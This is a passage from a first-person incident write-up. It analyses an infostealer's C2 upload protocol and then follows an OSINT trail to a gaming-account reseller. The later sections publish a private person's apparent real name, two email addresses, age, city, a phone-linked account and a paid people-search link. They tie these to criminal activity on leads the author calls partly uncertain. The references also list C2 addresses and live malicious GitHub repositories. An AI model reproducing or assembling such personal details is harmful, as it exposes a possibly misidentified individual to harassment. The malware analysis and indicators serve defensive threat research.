| User and host data | Screenshots, clipboard contents, documents, images, OBS-related data, system information | Context, secrets, files, and host metadata that did not belong to a single application |
The third port
Once the collectors converged on a shared ZIP archive, the next question was where that archive went. The answer was another connection to the same C2 host:
145.63.134[.]94 : 1488
The Stealer passed that address and service into getaddrinfo, opened a TCP connection, identified the victim, waited for auth_ok, and then sent the ZIP as a length-prefixed buffer. The wire format was almost disarmingly simple:
connect
→ stealer;<host-id>\n
← auth_ok
→ 8-byte big-endian ZIP length
→ complete ZIP buffer
→ close
It was one result bundle rather than a separate request for each stolen file. After the send path, the Stealer cleaned up and exited. The resident component remained the long-lived part of the operation; this module arrived for a job, collected its data, returned the result, and disappeared.
At that point the three ports described three very different jobs: 406 for control, 408 for module delivery, and 1488 for the Stealer's results.
When an OSINT clue reappeared inside the malware
And then there was the port number itself.
1488.
I had already spent a large part of the OSINT investigation following the unusually distinctive handle:
gitlerzov1488gitler
Now the same number had appeared inside the Stealer's own upload path. One clue had come from public infrastructure and persona research; the other came from a separately captured malware component. For the first time, something from the OSINT side of the investigation had reappeared inside the malware implementation.
The overlap was suggestive, not conclusive, but it was difficult to dismiss as just another decorative similarity. Combined with the earlier domain, email, repository, and handle pivots, it pulled the two halves of the investigation closer together.
There was a smaller echo in Minecraft. The public persona had Minecraft content, while the Stealer explicitly collected Minecraft launcher and client account state. Minecraft by itself is far too common to identify anyone, but in this context it was another point where the public persona and the malware's target selection happened to touch.
What the second pass changed
The first-round analysis had done what I needed during the incident: identify the foothold, persistence, C2, and the host artifacts that mattered for containment. The later module capture filled in the part that had always felt strangely absent.
The C2 could deliver a Stealer on demand. The Stealer linked back to the resident loader through its mutex logic, collected application and session data, assembled the results into a ZIP, and sent that archive through its own channel.
The exact September DLL was a later snapshot of the operation, not a byte-for-byte time machine back to August. But the architecture it exposed explained why the first executable had looked like a capable RAT without containing the full information-theft logic I expected to find. By then, the incident no longer looked like “a RAT that also stole some things.” It looked like a modular workflow: persistent access, tasking, capability delivery, collection, and result upload were separate pieces that could be combined as needed.
Is He Just A Consumer?
Part One already introduced the strangest piece of the Steam aftermath. An unfamiliar user named 661SAVAGEEE had been added as my friend and joined my Steam Family Sharing. I did not notice the relationship when I first rotated my credentials. The account later used my ARC Raiders access, cheated, and was banned; because my account owned the game, the enforcement reached me as well. My Embark display name had also been changed to 661SAVAGE.
I had spent the cleanup thinking about persistence everywhere else: Gmail permissions, trusted devices, OAuth grants, GitHub PATs and SSH keys, active sessions, recovery methods. Steam was almost the only service where I failed to ask the equivalent question. I got caught by exactly that omission. lol
That was the important part. The person using the access did not need the RAT to remain on my workstation. The malware only needed enough time to steal or create something reusable on the service side. Once the Family Sharing relationship existed, the later abuse could continue independently of the host.
When I first saw the unexpected Steam friend, my immediate reaction was simple: perhaps this was the hacker. That interpretation did not survive very long. 661SAVAGEEE looked new and disposable, exactly the sort of account I would expect someone to burn while abusing somebody else's game access. The more interesting clue was the Embark name change. Whoever had used my account had voluntarily replaced my display name with 661SAVAGE. That gave me a handle variation from inside the incident itself, not from a search engine. And unlike 661SAVAGEEE, 661SAVAGE was not difficult to find.
A Steam profile at 76561198769671376 appeared to be the main account behind the persona. It used the 661SAVAGE name and had a game ban close to the incident period. Its friend list was tiny—only three accounts when I checked—and two of them, dnovoa1997 and ITzSavage510.ttv, also had game-ban histories.
The latter name had its own recognizable gaming footprint, including a matching Twitch handle. I treated that as social context rather than collapsing the accounts together. Small gaming circles reuse naming styles all the time.
The broader 661SAVAGE persona was much more consistent. I found the same branding across Steam, streaming profiles, and TikTok, all pointing toward a shooter-focused gaming identity. This was not a particularly heroic OSINT challenge; once I had the shorter handle, the persona had left plenty of breadcrumbs.
The TikTok profile added something new. The visible name was 661SAVAGE, but the actual account handle was danieln979. At that point my working model was still fairly mundane: 661SAVAGE was probably a downstream consumer of stolen or otherwise illegitimate gaming access. The disposable account made sense. The cheating made sense. The poor OPSEC even made sense if he believed the account itself could be thrown away afterward.
Then I found the store. The clue was literally newer than the draft of this article. At 661savage.store, the same branding had become a storefront. One product page was unusually specific:
The product was being sold at 661savage.store/product.html?id=NFA%20ACCOUNTS. That changed the role assessment immediately. A person who merely receives one compromised account and uses it to cheat looks like a consumer. A person operating a storefront that sells cheap ARC Raiders NFA accounts belongs much closer to the resale layer of the same economy. Whatever the exact source of every account in the inventory, this was account distribution, not ordinary consumption.
And the overlap with my incident was almost comically specific:
My workstation is infected
↓
My Steam access is compromised
↓
661SAVAGEEE is added to Family Sharing
↓
ARC Raiders is abused and banned
↓
My Embark name is changed to 661SAVAGE
↓
661SAVAGE storefront sells $2 ARC Raiders NFA accounts
The consumer hypothesis no longer fit very well. A more plausible role was a small reseller or dealer—possibly someone who also used or tested the same kind of inventory he sold. At this scale, “consumer” and “seller” do not have to be separate people. A small operator can easily be both.
The storefront made the persona more interesting, so I went back through the social traces with a different question. I was no longer asking only who uses the name 661SAVAGE? I wanted to know whether the handle leaked anything more personal.
It did. I found two TikTok accounts using the same nickname and avatar pattern:
661SAVAGE → @danieln979
661SAVAGE → @danielnovoa82
The second handle, danielnovoa82, was especially useful because it exposed a surname-shaped token: Novoa.
Then I compare the 2 Tiktok handles with one user of 661SAVAGE' tiny Steam friend list:
Tiktok Handle: danieln979
Tiktok Handle: danielnovoa82
Steam Profile: dnovoa1997
Now the repetition was difficult to miss. dnovoa1997 was not a random result from username enumeration; it was directly connected to the 661SAVAGE Steam profile as one of only three friends. Piecing those handles together produced an obvious identity lead:
Daniel Novoa.
Snapchat made the picture slightly more confusing. Mapping danieln979 there produced the display name Daniel Nardo. That could be an alternate name, a fake display name, or simply a different person using the same handle. I kept it in the graph because contradictory-looking details are often more useful than pretending OSINT always converges cleanly.
The store's Discord added another historical alias. Inside the server I found that the account had previously used savage2135. A similarly named TikTok profile also existed, although that branch did not show the same degree of consistency as the daniel* accounts, so I left it as another pivot rather than forcing it into the main chain.
And the detailed Discord profile card disclosed 2 additional profiles: his PSN profile, and his STEAM username danielnovoa440848.
danielnovoa440848 is the username for Steam 661SAVAGE!
The handle itself offered one more clue. 661 is a California area code, and the 661SAVAGE Steam profile listed its location as California. Either field could be fake. But this persona had not exactly impressed me with sophisticated privacy discipline so far. The incident account had written the stable 661SAVAGE handle into my own Embark profile, the public persona reused avatars and names across services, and the storefront operated under the same branding.
Searching the emerging Daniel Novoa + California + 661 combination produced a very close public-record candidate in the Bakersfield area. The location fit the 661 region, and the age fit the 1997 clue from dnovoa1997. A cached search result still showed the person as 28 while the current record showed 29, suggesting a recent birthday as well.
Eventually, I purchased the report, and more info revealed, which confirmed my theory:
Bomb, all is clear, especially the email dnovoa1997@gmail.com and danielnovoa440848@gmail.com, are consistent with 2 of his Steam account! And the mobile number is associated with Steam account 661savageeeeeeeeeee.
Consumer, dealer, or both?
The store changed the most important conclusion, not the name search. When I began this branch, I thought I was looking at somebody near the very end of the chain: a cheater who had somehow obtained my Steam access and happily burned it.
Now 661SAVAGE looked more like a small downstream reseller or account dealer, with a public storefront, a Discord community, shooter-focused social accounts, and a circle that included other banned gaming accounts. He may also have been a consumer of the same inventory. Those roles are perfectly compatible.
This still places him downstream from the technical core of the malware operation. I have no GitHub, C2, domain-registration, or malware-development bridge tying 661SAVAGE directly to the people who built and operated the infostealer. But “downstream” no longer means “uninvolved.” If stolen or non-full-access accounts are being turned into cheap retail inventory, then the reseller is part of the economy that gives the original theft value.
That was the larger change in perspective. The malware operators did not need to personally log into every account they stole. Once authentication material became inventory, other people could package it, resell it, test it, cheat with it, or burn it for two dollars at a time. The more interesting question was no longer whether 661SAVAGE wrote the malware. It was how access moved from the people who stole it to the people who sold and used it.
The red-team instinct came back
By this point, the incident no longer fit comfortably inside the word malware. I had started with one malicious GitHub repository and one compromised workstation. The trail had expanded into fake social proof, recurring promotion accounts, disposable repository fronts, staging infrastructure, a persistent RAT, an on-demand Stealer, stolen authentication material, and finally a downstream market where gaming accounts could be treated as cheap inventory.
Once I could see that much of the system, my red-team instincts inevitably came back. I did not hack back. I had no authorization to compromise somebody else's infrastructure, even if that infrastructure had been used against me. But authorization was the boundary on exploitation, not on thinking. I could still look at the operation the way I would look at a target during an engagement: where does it trust input, where does identity cross a boundary, what data is parsed, and which services have been exposed unnecessarily? The answer was that the attackers had built themselves an attack surface too.
Attackers have an attack surface too
The synthetic victim had already shown that the control plane accepted client-supplied identity and host information. Somewhere on the operator side, at least some of that data presumably had to be stored, searched, or displayed. In an authorized assessment, I would immediately want to understand how those values moved into the management interface and whether untrusted content was encoded correctly.
The tasking model raised the same kind of questions around authorization. The protocol used victim identifiers and task identifiers as ordinary application objects. That naturally makes object ownership and cross-client isolation interesting places to look.
Then there was the Stealer upload. Port 1488 accepted an archive produced by a hostile endpoint and passed it into whatever storage and processing pipeline existed behind the service. Archive parsing, decompression, file naming, storage quotas, and later operator-side handling are exactly the sort of trust boundaries that make security people start drawing boxes and arrows on a whiteboard.
The public infrastructure added another layer. The staging server exposed a surprisingly talkative Windows footprint, including services that were useful for fingerprinting even without touching them. Nothing about being a malware operator grants immunity from ordinary deployment mistakes.
Attackers are not exempt from having an attack surface.
The code quality reinforced that impression. The native loader was substantially more polished than parts of the PowerShell staging logic. The Stealer had carefully implemented collectors next to brittle parsing and network assumptions. It looked less like one perfectly engineered product than a stack assembled from components of uneven quality—which is probably a more realistic picture of criminal tooling anyway.
I did not need to turn any of those observations into a speculative exploit list. The useful lesson was simpler: once the operation became visible as a system rather than a single executable, its own trust boundaries became visible as well.
The counteroffensive was evidence
The most useful thing I could actually do was much less cinematic than finding an RCE in the attacker's panel. I could preserve the relationships they had left behind.
A single malicious repository URL is fragile evidence. Delete the repository and the report becomes a 404. But the repository was connected to accounts that starred it, forks that preserved it, other repositories promoted by the same cohort, repeated construction artifacts, domains, historical infrastructure, and eventually malware delivered from the same operation.
Deleting one page does not erase the graph around it. That changed how I approached abuse reporting. Instead of asking a platform to remove one obviously malicious repository, I could hand it a cluster: repository relationships, account relationships, commit history, repeated lure patterns, infrastructure, and the branches that independently reached confirmed malicious behavior.
The same principle applied downstream. A disposable Steam account was not very interesting by itself. But the incident-linked 661SAVAGEEE account led to the persistent 661SAVAGE persona, then to a storefront advertising NFA accounts, a Discord community, related gaming identities, and a likely real-world identity lead. What initially looked like one cheater burning somebody else's game access had turned into a view of the resale layer.
Platforms and law enforcement can see records I cannot: stable account identifiers, login telemetry, recovery history, subscriber information, payment records, account-control changes, and activity that survives deletion from public view. My job as an external investigator was not to recreate all of that from OSINT. It was to give them a clean path to the right objects. That is a much more practical form of counteroffensive than hack-back. Preserve the evidence. Resolve the relationships. Make the disposable parts of the operation less disposable.
From one repository to an ecosystem
By the end, the path I had followed looked roughly like this:
Malicious GitHub lure
↓
promotion / fork network
↓
staging infrastructure
↓
persistent RAT and tasking
↓
on-demand Stealer module
↓
credentials, sessions, application state
↓
downstream account access
↓
reseller / storefront
↓
end use, abuse, and bans
That diagram is what I mean by the “army” in the title. Not a literal headcount, and not an org chart with one commander at the top. The army was the machinery: disposable identities, promotion infrastructure, replaceable lures, servers, malware components, account inventory, and the people willing to monetize or consume the access.
Seen from the endpoint, most of that was invisible. All I saw initially was a script I should not have run and a process I wanted off my machine. Seen from the other end, the compromised workstation was only the beginning of the supply chain.
Closing the Loop
Part One was dominated by an endpoint question: is the attacker still on my computer? That question mattered, but it was too small. The malware had already created consequences that could survive its removal. Browser state, application credentials, active sessions, trusted relationships, and service-side access could all continue to matter after the executable disappeared. Steam Family Sharing was the most embarrassing example because I had remembered nearly every other persistence surface and still managed to miss that one.
Part Two kept widening the frame. The malicious repository became a distribution network. The infrastructure became a historical cluster. A strange handle became a persistent persona. The RAT became a modular system. The missing theft logic arrived as a Stealer DLL. A third port completed the exfiltration path. And the downstream account abuse eventually exposed an economy in which access itself could become inventory.
That last point changed the meaning of the whole incident for me. An infostealer does not need to remain on a victim's computer for weeks to be valuable. It may only need minutes. If those minutes are enough to turn passwords, cookies, tokens, application state, or trusted relationships into something another person can use later, then the endpoint compromise has already been converted into a product. That is why the aftermath initially felt so disconnected. I had been looking for one attacker persisting on one machine, while the access created by that compromise could move through completely different people and services.
Part One taught me that removing the malware was not the same as remediating the incident.
Part Two taught me that understanding the malware was not the same as understanding the operation.
I still do not have every person, every server, or every transaction in the chain. I do not need them to understand what happened. The useful outcome was turning a chaotic personal incident into a set of mechanisms, relationships, and artifacts that can be checked by somebody else. I started with a compromised workstation and ended up mapping parts of an ecosystem.
I would still rather have learned both lessons from somebody else's case study. But if the incident was going to happen anyway, I wanted the evidence to outlive the embarrassment.
Reference
Previous Threat Intelligence:
https://forum.kasperskyclub.ru/topic/472004-virus-updaterexe
https://phishdestroy.io/domain/verificator.cc/
https://gridinsoft.com/online-virus-scanner/url/verificator-cc
https://phishdestroy.io/domain/genesis-hub.cc/
https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc
https://www.shodan.io/host/192.162.199.184
https://www.shodan.io/host/145.63.134.94
https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/
https://steamcommunity.com/profiles/76561198769671376
https://steamcommunity.com/profiles/76561198665194900
https://psnprofiles.com/trophies/24888-ark-survival-ascended/TTV-661SAVAGE
https://www.tiktok.com/@danieln979
https://www.tiktok.com/@danielnovoa82
https://www.twitch.tv/661savage
https://www.spokeo.com/Daniel-Novoa/California/Bakersfield/p7770855703706138216526571
https://www.tiktok.com/@gitlerzov1488
Alive Repositories At the Time of Writing
https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download
https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro
https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate
































































